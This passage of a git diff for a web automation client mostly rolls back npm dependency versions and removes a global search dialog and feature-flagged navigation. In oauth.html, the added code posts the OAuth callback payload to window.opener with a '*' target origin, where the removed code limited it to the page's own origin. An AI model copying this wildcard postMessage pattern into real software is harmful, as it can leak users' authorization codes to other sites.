-      "integrity": "sha512-cbQt3PTSD7P2OARdVW3qWER5EGq7PHlvE+QfzSC0lbwO+xnt7+XH06ZzFjFRgzUX//JmpxrCu92VdwvEPlWSNw==",
+      "version": "4.0.16",
+      "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.0.16.tgz",
+      "integrity": "sha512-4jIOWjKP0ZUaEmJm00E0cOBLU+5WE0BpeNr3XN6TEF05ltro6NJqHWxXD0kA8/Zc8Nh23AT8WQxwNG+WeROupw==",
       "dev": true,
       "license": "MIT",
       "funding": {
         "url": "https://opencollective.com/vitest"
       }
     },
+    "node_modules/vitest/node_modules/estree-walker": {
+      "version": "3.0.3",
+      "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz",
+      "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@types/estree": "^1.0.0"
+      }
+    },
     "node_modules/vitest/node_modules/picomatch": {
       "version": "4.0.3",
       "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz",
@@ -23405,15 +22855,15 @@
       }
     },
     "node_modules/web-vitals": {
-      "version": "5.1.0",
-      "resolved": "https://registry.npmjs.org/web-vitals/-/web-vitals-5.1.0.tgz",
-      "integrity": "sha512-ArI3kx5jI0atlTtmV0fWU3fjpLmq/nD3Zr1iFFlJLaqa5wLBkUSzINwBPySCX/8jRyjlmy1Volw1kz1g9XE4Jg==",
+      "version": "4.2.4",
+      "resolved": "https://registry.npmjs.org/web-vitals/-/web-vitals-4.2.4.tgz",
+      "integrity": "sha512-r4DIlprAGwJ7YM11VZp4R884m0Vmgr6EAKe3P+kO0PPj3Unqyvv59rczf6UiGcb9Z8QxZVcqKNwv/g0WNdWwsw==",
       "license": "Apache-2.0"
     },
     "node_modules/webidl-conversions": {
-      "version": "8.0.1",
-      "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-8.0.1.tgz",
-      "integrity": "sha512-BMhLD/Sw+GbJC21C/UgyaZX41nPt8bUTg+jWyDeg7e7YN4xOM05YPSIXceACnXVtqyEw/LMClUQMtMZ+PGGpqQ==",
+      "version": "8.0.0",
+      "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-8.0.0.tgz",
+      "integrity": "sha512-n4W4YFyz5JzOfQeA8oN7dUYpR+MBP3PIUsn2jLjWXwK5ASUzt0Jc/A5sAUZoCYFJRGF0FBKJ+1JjN43rNdsQzA==",
       "dev": true,
       "license": "BSD-2-Clause",
       "engines": {
@@ -23442,18 +22892,17 @@
       }
     },
     "node_modules/whatwg-url": {
-      "version": "16.0.0",
-      "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-16.0.0.tgz",
-      "integrity": "sha512-9CcxtEKsf53UFwkSUZjG+9vydAsFO4lFHBpJUtjBcoJOCJpKnSJNwCw813zrYJHpCJ7sgfbtOe0V5Ku7Pa1XMQ==",
+      "version": "15.1.0",
+      "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-15.1.0.tgz",
+      "integrity": "sha512-2ytDk0kiEj/yu90JOAp44PVPUkO9+jVhyf+SybKlRHSDlvOOZhdPIrr7xTH64l4WixO2cP+wQIcgujkGBPPz6g==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@exodus/bytes": "^1.11.0",
         "tr46": "^6.0.0",
-        "webidl-conversions": "^8.0.1"
+        "webidl-conversions": "^8.0.0"
       },
       "engines": {
-        "node": "^20.19.0 || ^22.12.0 || >=24.0.0"
+        "node": ">=20"
       }
     },
     "node_modules/which": {
@@ -23819,9 +23268,9 @@
       }
     },
     "node_modules/zod": {
-      "version": "4.3.6",
-      "resolved": "https://registry.npmjs.org/zod/-/zod-4.3.6.tgz",
-      "integrity": "sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg==",
+      "version": "4.3.5",
+      "resolved": "https://registry.npmjs.org/zod/-/zod-4.3.5.tgz",
+      "integrity": "sha512-k7Nwx6vuWx1IJ9Bjuf4Zt1PEllcwe7cls3VNzm4CQ1/hgtFUK2bRNG3rvnpPUhFjmqJKAKtjV576KnUkHocg/g==",
       "license": "MIT",
       "funding": {
         "url": "https://github.com/sponsors/colinhacks"
@@ -23841,9 +23290,9 @@
       }
     },
     "node_modules/zustand": {
-      "version": "5.0.11",
-      "resolved": "https://registry.npmjs.org/zustand/-/zustand-5.0.11.tgz",
-      "integrity": "sha512-fdZY+dk7zn/vbWNCYmzZULHRrss0jx5pPFiOuMZ/5HJN6Yv3u+1Wswy/4MpZEkEGhtNH+pwxZB8OKgUBPzYAGg==",
+      "version": "5.0.9",
+      "resolved": "https://registry.npmjs.org/zustand/-/zustand-5.0.9.tgz",
+      "integrity": "sha512-ALBtUj0AfjJt3uNRQoL1tL2tMvj6Gp/6e39dnfT6uzpelGru8v1tPOGBzayOWbPJvujM8JojDk3E1LxeFisBNg==",
       "license": "MIT",
       "engines": {
         "node": ">=12.20.0"
diff --git a/client/package.json b/client/package.json
index 23e91cc4bc2..69416aefb22 100644
--- a/client/package.json
+++ b/client/package.json
@@ -44,18 +44,17 @@
     "build-storybook": "storybook build"
   },
   "dependencies": {
-    "@ag-ui/client": "^0.0.44",
-    "@ag-ui/core": "^0.0.44",
-    "@assistant-ui/react": "^0.12.9",
-    "@assistant-ui/react-markdown": "^0.12.3",
+    "@ag-ui/client": "^0.0.42",
+    "@ag-ui/core": "^0.0.42",
+    "@assistant-ui/react": "^0.11.53",
+    "@assistant-ui/react-markdown": "^0.11.9",
     "@hookform/resolvers": "^5.2.2",
-    "@lingui/core": "^5.9.0",
-    "@lingui/react": "^5.9.0",
+    "@lingui/core": "^5.7.0",
+    "@lingui/react": "^5.7.0",
     "@monaco-editor/react": "^4.7.0",
     "@radix-ui/colors": "^3.0.0",
     "@radix-ui/react-aspect-ratio": "^1.1.8",
     "@radix-ui/react-context-menu": "^2.2.16",
-    "@radix-ui/react-dialog": "^1.1.15",
     "@radix-ui/react-icons": "^1.3.2",
     "@radix-ui/react-menubar": "^1.1.16",
     "@radix-ui/react-navigation-menu": "^1.2.14",
@@ -63,22 +62,21 @@
     "@radix-ui/react-separator": "^1.1.8",
     "@radix-ui/react-slider": "^1.3.6",
     "@radix-ui/react-slot": "^1.2.4",
-    "@radix-ui/react-toggle": "^1.1.10",
-    "@radix-ui/react-visually-hidden": "^1.2.4",
-    "@tanstack/react-query": "^5.90.20",
-    "@tanstack/react-query-devtools": "^5.91.3",
+    "@radix-ui/react-toggle-group": "^1.1.11",
+    "@tanstack/react-query": "^5.90.16",
+    "@tanstack/react-query-devtools": "^5.91.2",
     "@tanstack/react-table": "^8.21.3",
     "@testing-library/dom": "^10.4.1",
     "@testing-library/user-event": "^14.6.1",
-    "@tiptap/extension-document": "3.19.0",
-    "@tiptap/extension-mention": "3.19.0",
-    "@tiptap/extension-paragraph": "3.19.0",
-    "@tiptap/extension-placeholder": "3.19.0",
-    "@tiptap/extension-text": "3.19.0",
-    "@tiptap/pm": "3.19.0",
-    "@tiptap/react": "3.19.0",
-    "@tiptap/starter-kit": "3.19.0",
-    "@tiptap/suggestion": "3.19.0",
+    "@tiptap/extension-document": "3.15.3",
+    "@tiptap/extension-mention": "3.15.3",
+    "@tiptap/extension-paragraph": "3.15.3",
+    "@tiptap/extension-placeholder": "3.15.3",
+    "@tiptap/extension-text": "3.15.3",
+    "@tiptap/pm": "3.15.3",
+    "@tiptap/react": "3.15.3",
+    "@tiptap/starter-kit": "3.15.3",
+    "@tiptap/suggestion": "3.15.3",
     "@types/d3": "^7.4.3",
     "@types/sanitize-html": "^2.16.0",
     "@uidotdev/usehooks": "^2.4.1",
@@ -92,22 +90,22 @@
     "date-fns": "^4.1.0",
     "fetch-intercept": "^2.4.0",
     "html-entities": "^2.6.0",
-    "lucide-react": "^0.563.0",
+    "lucide-react": "^0.562.0",
     "monaco-editor": "^0.55.1",
     "monaco-yaml": "^5.4.0",
-    "motion": "^12.33.0",
-    "posthog-js": "^1.342.1",
+    "motion": "^12.25.0",
+    "posthog-js": "^1.316.1",
     "radix-ui": "^1.4.3",
-    "react": "^19.2.4",
+    "react": "^19.2.3",
+    "react-day-picker": "^9.13.0",
+    "react-dom": "^19.2.3",
     "react-data-grid": "^7.0.0-beta.59",
-    "react-day-picker": "^9.13.1",
-    "react-dom": "^19.2.4",
     "react-helmet-async": "^2.0.5",
-    "react-hook-form": "^7.71.1",
+    "react-hook-form": "^7.70.0",
     "react-inlinesvg": "^4.2.0",
     "react-json-view": "^1.21.3",
     "react-resizable-panels": "^3.0.6",
-    "react-router-dom": "^7.13.0",
+    "react-router-dom": "^7.12.0",
     "react-select": "^5.10.2",
     "react-shiki": "^0.9.1",
     "react-textarea-autosize": "^8.5.9",
@@ -120,69 +118,69 @@
     "use-debounce": "^10.1.0",
     "vite-plugin-svgr": "^4.5.0",
     "whatwg-fetch": "^3.6.20",
-    "zod": "^4.3.6",
-    "zustand": "^5.0.11"
+    "zod": "^4.3.5",
+    "zustand": "^5.0.9"
   },
   "devDependencies": {
-    "@chromatic-com/storybook": "^5.0.0",
+    "@chromatic-com/storybook": "^4.1.3",
     "@dagrejs/dagre": "^1.1.8",
     "@eslint/eslintrc": "^3.3.3",
     "@eslint/js": "9.39.2",
-    "@graphql-codegen/cli": "^6.1.1",
+    "@graphql-codegen/cli": "^6.1.0",
     "@graphql-codegen/typescript-react-query": "^6.1.1",
-    "@lingui/babel-plugin-lingui-macro": "^5.9.0",
-    "@lingui/cli": "^5.9.0",
-    "@lingui/macro": "^5.9.0",
-    "@lingui/vite-plugin": "^5.9.0",
-    "@playwright/test": "^1.58.2",
-    "@storybook/addon-docs": "^10.2.7",
-    "@storybook/addon-links": "^10.2.7",
-    "@storybook/addon-onboarding": "^10.2.7",
-    "@storybook/react-vite": "^10.2.7",
+    "@lingui/babel-plugin-lingui-macro": "^5.7.0",
+    "@lingui/cli": "^5.7.0",
+    "@lingui/macro": "^5.7.0",
+    "@lingui/vite-plugin": "^5.7.0",
+    "@storybook/addon-docs": "^10.1.11",
+    "@storybook/addon-links": "^10.1.11",
+    "@storybook/addon-onboarding": "^10.1.11",
+    "@storybook/react-vite": "^10.1.11",
     "@tailwindcss/forms": "^0.5.11",
     "@tailwindcss/line-clamp": "^0.4.4",
     "@tailwindcss/typography": "^0.5.19",
-    "@tanstack/eslint-plugin-query": "^5.91.4",
+    "@tanstack/eslint-plugin-query": "^5.91.2",
     "@testing-library/jest-dom": "^6.9.1",
-    "@testing-library/react": "^16.3.2",
+    "@testing-library/react": "^16.3.1",
     "@testing-library/react-hooks": "^8.0.1",
     "@types/node": "^22.19.1",
     "@types/react-dom": "^19.2.3",
     "@types/sanitize-html": "^2.16.0",
-    "@typescript-eslint/eslint-plugin": "^8.54.0",
-    "@typescript-eslint/parser": "^8.54.0",
-    "@vitejs/plugin-basic-ssl": "^2.1.4",
-    "@vitejs/plugin-react": "^5.1.3",
-    "@vitest/coverage-v8": "^4.0.18",
-    "autoprefixer": "^10.4.24",
+    "@typescript-eslint/eslint-plugin": "^8.52.0",
+    "@typescript-eslint/parser": "^8.52.0",
+    "@vitejs/plugin-basic-ssl": "^2.1.3",
+    "@vitejs/plugin-react": "^5.1.2",
+    "@vitest/coverage-v8": "^4.0.16",
+    "autoprefixer": "^10.4.23",
     "eslint": "9.39.2",
     "eslint-config-prettier": "^10.1.8",
     "eslint-plugin-bytechef": "file:eslint",
     "eslint-plugin-lingui": "^0.11.0",
-    "eslint-plugin-prettier": "^5.5.5",
+    "eslint-plugin-prettier": "^5.5.4",
     "eslint-plugin-react": "^7.37.5",
     "eslint-plugin-react-hooks": "^7.0.1",
     "eslint-plugin-sort-destructure-keys": "^2.0.0",
-    "eslint-plugin-storybook": "^10.2.7",
+    "eslint-plugin-storybook": "^10.1.11",
     "eslint-plugin-tailwindcss": "^3.18.2",
-    "globals": "^17.3.0",
+    "globals": "^17.0.0",
     "identity-obj-proxy": "^3.0.0",
     "isobject": "^4.0.0",
-    "jsdom": "^28.0.0",
-    "msw": "^2.12.9",
+    "jsdom": "^27.4.0",
+    "msw": "^2.12.7",
     "object-resolve-path": "^1.1.1",
     "postcss": "^8.5.6",
-    "prettier": "3.8.1",
+    "prettier": "3.7.4",
     "prettier-plugin-tailwindcss": "^0.7.2",
     "react-fast-compare": "^3.2.2",
-    "storybook": "^10.2.7",
+    "storybook": "^10.1.11",
     "tailwindcss": "^3.4.17",
     "typescript": "^5.9.3",
-    "typescript-eslint": "^8.54.0",
+    "typescript-eslint": "^8.52.0",
     "vite": "^7.3.1",
-    "vite-bundle-analyzer": "^1.3.6",
-    "vite-tsconfig-paths": "^6.1.0",
-    "vitest": "^4.0.18"
+    "vite-bundle-analyzer": "^1.3.2",
+    "vite-tsconfig-paths": "^6.0.3",
+    "vitest": "^4.0.16",
+    "@playwright/test": "^1.57.0"
   },
   "msw": {
     "workerDirectory": "public"
diff --git a/client/public/mockServiceWorker.js b/client/public/mockServiceWorker.js
index 85e90101233..461e2600ebd 100644
--- a/client/public/mockServiceWorker.js
+++ b/client/public/mockServiceWorker.js
@@ -7,7 +7,7 @@
  * - Please do NOT modify this file.
  */
 
-const PACKAGE_VERSION = '2.12.9'
+const PACKAGE_VERSION = '2.12.7'
 const INTEGRITY_CHECKSUM = '4db4a41e972cec1b64cc569c66952d82'
 const IS_MOCKED_RESPONSE = Symbol('isMockedResponse')
 const activeClientIds = new Set()
diff --git a/client/public/oauth.html b/client/public/oauth.html
index 96c38e9e4b0..fec98b271c6 100644
--- a/client/public/oauth.html
+++ b/client/public/oauth.html
@@ -31,8 +31,6 @@
     <script>
         // Constants
         const OAUTH_RESPONSE = 'react-use-oauth2-response';
-        const OAUTH_STORAGE_KEY = 'react-use-oauth2-storage-response';
-        const OAUTH_BROADCAST_CHANNEL = 'react-use-oauth2-broadcast-channel';
 
         // Utility function to convert query string to object
         function queryToObject(query) {
@@ -41,51 +39,8 @@
             return Object.fromEntries(parameters.entries());
         }
 
-        // Send message using available methods (postMessage, BroadcastChannel, localStorage)
-        // Uses all available methods to ensure message delivery across different browser contexts
-        function sendOAuthMessage(message, messageElement) {
-            let messageSent = false;
-
-            // Method 1: Try window.opener.postMessage (preferred)
-            if (window.opener) {
-                try {
-                    window.opener.postMessage(message, window.location.origin);
-                    messageSent = true;
-                } catch (error) {
-                    console.warn('Failed to send message via window.opener:', error);
-                }
-            }
-
-            // Method 2: Try BroadcastChannel API (fallback for lost opener)
-            // Always attempt this as window.opener may be null in some contexts (e.g., Slack OAuth)
-            if (typeof BroadcastChannel !== 'undefined') {
-                try {
-                    const channel = new BroadcastChannel(OAUTH_BROADCAST_CHANNEL);
-                    channel.postMessage(message);
-                    channel.close();
-                    messageSent = true;
-                } catch (error) {
-                    console.warn('Failed to send message via BroadcastChannel:', error);
-                }
-            }
-
-            // Method 3: Use localStorage as final fallback
-            // Always store to handle same-origin case where storage events don't fire
-            try {
-                localStorage.setItem(OAUTH_STORAGE_KEY, JSON.stringify({
-                    ...message,
-                    timestamp: Date.now()
-                }));
-                messageSent = true;
-            } catch (error) {
-                console.warn('Failed to send message via localStorage:', error);
-            }
-
-            if (!messageSent) {
-                messageElement.textContent = 'Error: Could not communicate with parent window. Please close this window and try again.';
-                throw new Error('No communication method available');
-            }
-        }
+        // We won't check state here due to cross-origin restrictions
+        // Instead, we'll pass the state to the parent window for validation
 
         // Main function to handle OAuth response
         function handleOAuthResponse() {
@@ -101,27 +56,39 @@
                 ...hashParams
             };
 
+            const state = payload.state;
             const error = payload.error;
 
+            // Check if window opener exists
+            if (!window.opener) {
+                messageElement.textContent = 'Error: No window opener';
+                throw new Error('No window opener');
+            }
+
             // Handle error case
             if (error) {
                 const errorMessage = decodeURI(error) || 'OAuth error: An error has occurred.';
                 messageElement.textContent = errorMessage;
 
-                sendOAuthMessage({
+                window.opener.postMessage({
                     error: errorMessage,
                     type: OAUTH_RESPONSE
-                }, messageElement);
+                }, '*');
             }
             // Handle success case - let parent window validate state
             else {
                 messageElement.textContent = 'Authentication successful! You can close this window.';
 
-                sendOAuthMessage({
+                window.opener.postMessage({
                     payload,
                     type: OAUTH_RESPONSE
-                }, messageElement);
+                }, '*');
             }
+
+            // Auto-close window after successful authentication (optional)
+            // if (!error && state && checkState(state)) {
+            //     setTimeout(() => window.close(), 3000);
+            // }
         }
 
         // Execute when DOM is fully loaded
diff --git a/client/src/App.tsx b/client/src/App.tsx
index ae956f661c4..a69f500c04d 100644
--- a/client/src/App.tsx
+++ b/client/src/App.tsx
@@ -1,9 +1,8 @@
-import GlobalSearchDialog from '@/components/GlobalSearch/GlobalSearchDialog';
 import {Toaster} from '@/components/ui/toaster';
 import useFetchInterceptor from '@/config/useFetchInterceptor';
 import {PlatformType, usePlatformTypeStore} from '@/pages/home/stores/usePlatformTypeStore';
 import CopilotPanel from '@/shared/components/copilot/CopilotPanel';
-import useCopilotPanelStore from '@/shared/components/copilot/stores/useCopilotPanelStore';
+import {useCopilotStore} from '@/shared/components/copilot/stores/useCopilotStore';
 import {DEVELOPMENT_ENVIRONMENT} from '@/shared/constants';
 import {useAnalytics} from '@/shared/hooks/useAnalytics';
 import {useHelpHub} from '@/shared/hooks/useHelpHub';
@@ -17,7 +16,6 @@ import {useFeatureFlagsStore} from '@/shared/stores/useFeatureFlagsStore';
 import {useQueryClient} from '@tanstack/react-query';
 import {
     ActivityIcon,
-    CircleIcon,
     FolderIcon,
     Layers3Icon,
     LayoutTemplateIcon,
@@ -27,10 +25,8 @@ import {
     ServerIcon,
     Settings2Icon,
     SquareIcon,
-    Table2Icon,
     UnplugIcon,
     UsersIcon,
-    VectorSquareIcon,
     Workflow,
     ZapIcon,
 } from 'lucide-react';
@@ -78,18 +74,7 @@ const automationNavigation: NavigationType[] = [
         name: 'Workflow Executions',
     },
     {href: '/automation/connections', icon: Link2Icon, name: 'Connections'},
-    {
-        href: '/automation/datatables',
-        icon: Table2Icon,
-        name: 'Data Tables',
-    },
-    {
-        href: '/automation/knowledge-bases',
-        icon: VectorSquareIcon,
-        name: 'Knowledge Base',
-    },
     {href: '/automation/chat', icon: MessageCircleMoreIcon, name: 'Workflow Chat'},
-    {href: '/automation/tasks', icon: CircleIcon, name: 'Tasks'},
 ];
 
 const embeddedNavigation: NavigationType[] = [
@@ -132,7 +117,6 @@ const platformNavigation = [
 
 function App() {
     const [mobileMenuOpen, setMobileMenuOpen] = useState(false);
-    const [searchOpen, setSearchOpen] = useState(false);
 
     const {ai, edition} = useApplicationInfoStore(
         useShallow((state) => ({
@@ -151,7 +135,7 @@ function App() {
             reset: state.reset,
         }))
     );
-    const copilotPanelOpen = useCopilotPanelStore((state) => state.copilotPanelOpen);
+    const copilotPanelOpen = useCopilotStore((state) => state.copilotPanelOpen);
     const currentEnvironmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
     const {currentType, setCurrentType} = usePlatformTypeStore(
         useShallow((state) => ({
@@ -167,15 +151,11 @@ function App() {
 
     useFetchInterceptor();
 
-    const ff_732 = useFeatureFlagsStore()('ff-732');
     const ff_1023 = useFeatureFlagsStore()('ff-1023');
     const ff_1779 = useFeatureFlagsStore()('ff-1779');
     const ff_2445 = useFeatureFlagsStore()('ff-2445');
     const ff_2311 = useFeatureFlagsStore()('ff-2311');
-    const ff_2396 = useFeatureFlagsStore()('ff-2396');
     const ff_2894 = useFeatureFlagsStore()('ff-2894');
-    const ff_3955 = useFeatureFlagsStore()('ff-3955');
-    const ff_4000 = useFeatureFlagsStore()('ff-4000');
 
     const filteredAutomationNavigation = automationNavigation.filter((navItem) => {
         if (
@@ -198,18 +178,6 @@ function App() {
             return ff_2311 || ff_2894;
         }
 
-        if (navItem.href === '/automation/datatables') {
-            return ff_3955;
-        }
-
-        if (navItem.href === '/automation/knowledge-bases') {
-            return ff_4000;
-        }
-
-        if (navItem.href === '/automation/tasks') {
-            return ff_732;
-        }
-
         return true;
     });
 
@@ -274,29 +242,6 @@ function App() {
         }
     }, [currentType, location, setCurrentType]);
 
-    useEffect(() => {
-        if (!ff_2396) {
-            return;
-        }
-
-        const handleKeyDown = (event: KeyboardEvent) => {
-            if (event.defaultPrevented) {
-                return;
-            }
-
-            if ((event.metaKey || event.ctrlKey) && event.key === 'k') {
-                event.preventDefault();
-                setSearchOpen(true);
-            }
-        };
-
-        document.addEventListener('keydown', handleKeyDown);
-
-        return () => {
-            document.removeEventListener('keydown', handleKeyDown);
-        };
-    }, [ff_2396]);
-
     return authenticated ? (
         <div className="flex h-full">
             <MobileSidebar
@@ -308,25 +253,21 @@ function App() {
 
             <DesktopSidebar navigation={navigation} />
 
-            <div className="flex h-full min-w-0 flex-1 flex-col">
+            <div className="flex min-w-0 flex-1 flex-col">
                 <MobileTopNavigation setMobileMenuOpen={setMobileMenuOpen} />
 
                 <div className="flex size-full">
-                    <div className="flex h-full min-w-0 flex-1">
-                        <Outlet />
-                    </div>
+                    <Outlet />
 
-                    {ai.copilot.enabled && (
-                        <aside className="h-full shrink-0">
-                            <CopilotPanel open={copilotPanelOpen} />
+                    {ai.copilot.enabled && copilotPanelOpen && (
+                        <aside>
+                            <CopilotPanel />
                         </aside>
                     )}
                 </div>
             </div>
 
             <Toaster />
-
-            {ff_2396 && <GlobalSearchDialog onOpenChange={setSearchOpen} open={searchOpen} />}
         </div>
     ) : (
         <Outlet />
diff --git a/client/src/components/ComboBox/ComboBox.tsx b/client/src/components/ComboBox/ComboBox.tsx
index 02eb3406561..8c81ef67118 100644
--- a/client/src/components/ComboBox/ComboBox.tsx
+++ b/client/src/components/ComboBox/ComboBox.tsx
@@ -1,5 +1,5 @@
-import Button from '@/components/Button/Button';
 import LazyLoadSVG from '@/components/LazyLoadSVG/LazyLoadSVG';
+import {Button} from '@/components/ui/button';
 import {Command, CommandEmpty, CommandGroup, CommandInput, CommandItem, CommandList} from '@/components/ui/command';
 import {Popover, PopoverTrigger} from '@/components/ui/popover';
 import {cn} from '@/shared/util/cn-utils';
diff --git a/client/src/components/DatePicker/DatePicker.tsx b/client/src/components/DatePicker/DatePicker.tsx
index 46cf15505cc..1e0829b093f 100644
--- a/client/src/components/DatePicker/DatePicker.tsx
+++ b/client/src/components/DatePicker/DatePicker.tsx
@@ -1,6 +1,6 @@
 'use client';
 
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {Calendar} from '@/components/ui/calendar';
 import {Popover, PopoverContent, PopoverTrigger} from '@/components/ui/popover';
 import {cn} from '@/shared/util/cn-utils';
diff --git a/client/src/components/DatePicker/DateRangePicker.tsx b/client/src/components/DatePicker/DateRangePicker.tsx
index c2be752c085..f29f998813a 100644
--- a/client/src/components/DatePicker/DateRangePicker.tsx
+++ b/client/src/components/DatePicker/DateRangePicker.tsx
@@ -1,4 +1,4 @@
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {Calendar} from '@/components/ui/calendar';
 import {Popover, PopoverContent, PopoverTrigger} from '@/components/ui/popover';
 import {cn} from '@/shared/util/cn-utils';
diff --git a/client/src/components/DateTimePicker/DateTimePicker.tsx b/client/src/components/DateTimePicker/DateTimePicker.tsx
index 5debd2492be..ee6fbb404fe 100644
--- a/client/src/components/DateTimePicker/DateTimePicker.tsx
+++ b/client/src/components/DateTimePicker/DateTimePicker.tsx
@@ -1,6 +1,6 @@
 'use client';
 
-import Button from '@/components/Button/Button';
+import {Button} from '@/components/ui/button';
 import {Calendar} from '@/components/ui/calendar';
 import {Popover, PopoverContent, PopoverTrigger} from '@/components/ui/popover';
 import {format} from 'date-fns';
diff --git a/client/src/components/GlobalSearch/GlobalSearchDialog.tsx b/client/src/components/GlobalSearch/GlobalSearchDialog.tsx
deleted file mode 100644
index 3331a5eb6ea..00000000000
--- a/client/src/components/GlobalSearch/GlobalSearchDialog.tsx
+++ /dev/null
@@ -1,286 +0,0 @@
-import {
-    CommandDialog,
-    CommandEmpty,
-    CommandGroup,
-    CommandInput,
-    CommandItem,
-    CommandList,
-} from '@/components/ui/command';
-import {SearchAssetType, useAutomationSearchQuery} from '@/shared/middleware/graphql';
-import {keepPreviousData} from '@tanstack/react-query';
-import {
-    FileTextIcon,
-    FolderIcon,
-    Layers3Icon,
-    LayoutTemplateIcon,
-    Link2Icon,
-    RouteIcon,
-    Table2Icon,
-    VectorSquareIcon,
-    ZapIcon,
-} from 'lucide-react';
-import {useCallback, useEffect, useMemo, useState} from 'react';
-import {useNavigate} from 'react-router-dom';
-import {useDebouncedCallback} from 'use-debounce';
-
-interface GlobalSearchDialogProps {
-    onOpenChange: (open: boolean) => void;
-    open: boolean;
-}
-
-const GlobalSearchDialog = ({onOpenChange, open}: GlobalSearchDialogProps) => {
-    const [query, setQuery] = useState('');
-    const [debouncedQuery, setDebouncedQuery] = useState('');
-    const navigate = useNavigate();
-
-    const updateDebouncedQuery = useDebouncedCallback((value: string) => {
-        setDebouncedQuery(value);
-    }, 300);
-
-    const {data} = useAutomationSearchQuery(
-        {limit: 20, query: debouncedQuery},
-        {
-            enabled: debouncedQuery.length >= 2,
-            placeholderData: keepPreviousData,
-        }
-    );
-
-    const groupedResults = useMemo(() => {
-        const results = data?.automationSearch ?? [];
-
-        return {
-            apiCollections: results.filter((result) => result.type === SearchAssetType.ApiCollection),
-            apiEndpoints: results.filter((result) => result.type === SearchAssetType.ApiEndpoint),
-            connections: results.filter((result) => result.type === SearchAssetType.Connection),
-            dataTables: results.filter((result) => result.type === SearchAssetType.DataTable),
-            deployments: results.filter((result) => result.type === SearchAssetType.Deployment),
-            knowledgeBaseDocuments: results.filter((result) => result.type === SearchAssetType.KnowledgeBaseDocument),
-            knowledgeBases: results.filter((result) => result.type === SearchAssetType.KnowledgeBase),
-            projects: results.filter((result) => result.type === SearchAssetType.Project),
-            workflows: results.filter((result) => result.type === SearchAssetType.Workflow),
-        };
-    }, [data?.automationSearch]);
-
-    const handleSelect = useCallback(
-        (path: string) => {
-            navigate(path);
-            onOpenChange(false);
-            setQuery('');
-        },
-        [navigate, onOpenChange]
-    );
-
-    useEffect(() => {
-        if (!open) {
-            setQuery('');
-            setDebouncedQuery('');
-        }
-    }, [open]);
-
-    const hasResults = (data?.automationSearch?.length ?? 0) > 0;
-
-    return (
-        <CommandDialog onOpenChange={onOpenChange} open={open} shouldFilter={false}>
-            <CommandInput
-                className="my-2"
-                onValueChange={(value) => {
-                    setQuery(value);
-                    updateDebouncedQuery(value);
-                }}
-                placeholder="Search projects, workflows, connections..."
-                value={query}
-            />
-
-            <CommandList>
-                {debouncedQuery.length < 2 ? (
-                    <CommandEmpty>Type at least 2 characters to search...</CommandEmpty>
-                ) : !hasResults ? (
-                    <CommandEmpty>No results found.</CommandEmpty>
-                ) : (
-                    <>
-                        {groupedResults.projects.length > 0 && (
-                            <CommandGroup heading="Projects">
-                                {groupedResults.projects.map((project) => (
-                                    <CommandItem
-                                        key={`project-${project.id}`}
-                                        onSelect={() => handleSelect(`/automation/projects/${project.id}`)}
-                                    >
-                                        <FolderIcon className="mr-2 size-4" />
-
-                                        <span>{project.name}</span>
-
-                                        {project.description && (
-                                            <span className="ml-2 text-xs text-muted-foreground">
-                                                {project.description}
-                                            </span>
-                                        )}
-                                    </CommandItem>
-                                ))}
-                            </CommandGroup>
-                        )}
-
-                        {groupedResults.workflows.length > 0 && (
-                            <CommandGroup heading="Workflows">
-                                {groupedResults.workflows.map((workflow) => (
-                                    <CommandItem
-                                        key={`workflow-${workflow.id}`}
-                                        onSelect={() =>
-                                            handleSelect(
-                                                `/automation/projects/${'projectId' in workflow ? workflow.projectId : ''}/workflows/${workflow.id}`
-                                            )
-                                        }
-                                    >
-                                        <ZapIcon className="mr-2 size-4" />
-
-                                        <span>{'label' in workflow ? workflow.label : workflow.name}</span>
-
-                                        {workflow.description && (
-                                            <span className="ml-2 text-xs text-muted-foreground">
-                                                {workflow.description}
-                                            </span>
-                                        )}
-                                    </CommandItem>
-                                ))}
-                            </CommandGroup>
-                        )}
-
-                        {groupedResults.deployments.length > 0 && (
-                            <CommandGroup heading="Deployments">
-                                {groupedResults.deployments.map((deployment) => (
-                                    <CommandItem
-                                        key={`deployment-${deployment.id}`}
-                                        onSelect={() => handleSelect(`/automation/deployments/${deployment.id}`)}
-                                    >
-                                        <Layers3Icon className="mr-2 size-4" />
-
-                                        <span>
-                                            {'projectName' in deployment ? deployment.projectName : deployment.name}
-                                        </span>
-                                    </CommandItem>
-                                ))}
-                            </CommandGroup>
-                        )}
-
-                        {groupedResults.apiCollections.length > 0 && (
-                            <CommandGroup heading="API Collections">
-                                {groupedResults.apiCollections.map((collection) => (
-                                    <CommandItem
-                                        key={`api-collection-${collection.id}`}
-                                        onSelect={() => handleSelect(`/automation/api-collections/${collection.id}`)}
-                                    >
-                                        <LayoutTemplateIcon className="mr-2 size-4" />
-
-                                        <span>{collection.name}</span>
-
-                                        {collection.description && (
-                                            <span className="ml-2 text-xs text-muted-foreground">
-                                                {collection.description}
-                                            </span>
-                                        )}
-                                    </CommandItem>
-                                ))}
-                            </CommandGroup>
-                        )}
-
-                        {groupedResults.apiEndpoints.length > 0 && (
-                            <CommandGroup heading="API Endpoints">
-                                {groupedResults.apiEndpoints.map((endpoint) => (
-                                    <CommandItem
-                                        key={`api-endpoint-${endpoint.id}`}
-                                        onSelect={() =>
-                                            handleSelect(
-                                                `/automation/api-collections/${'collectionId' in endpoint ? endpoint.collectionId : ''}/endpoints/${endpoint.id}`
-                                            )
-                                        }
-                                    >
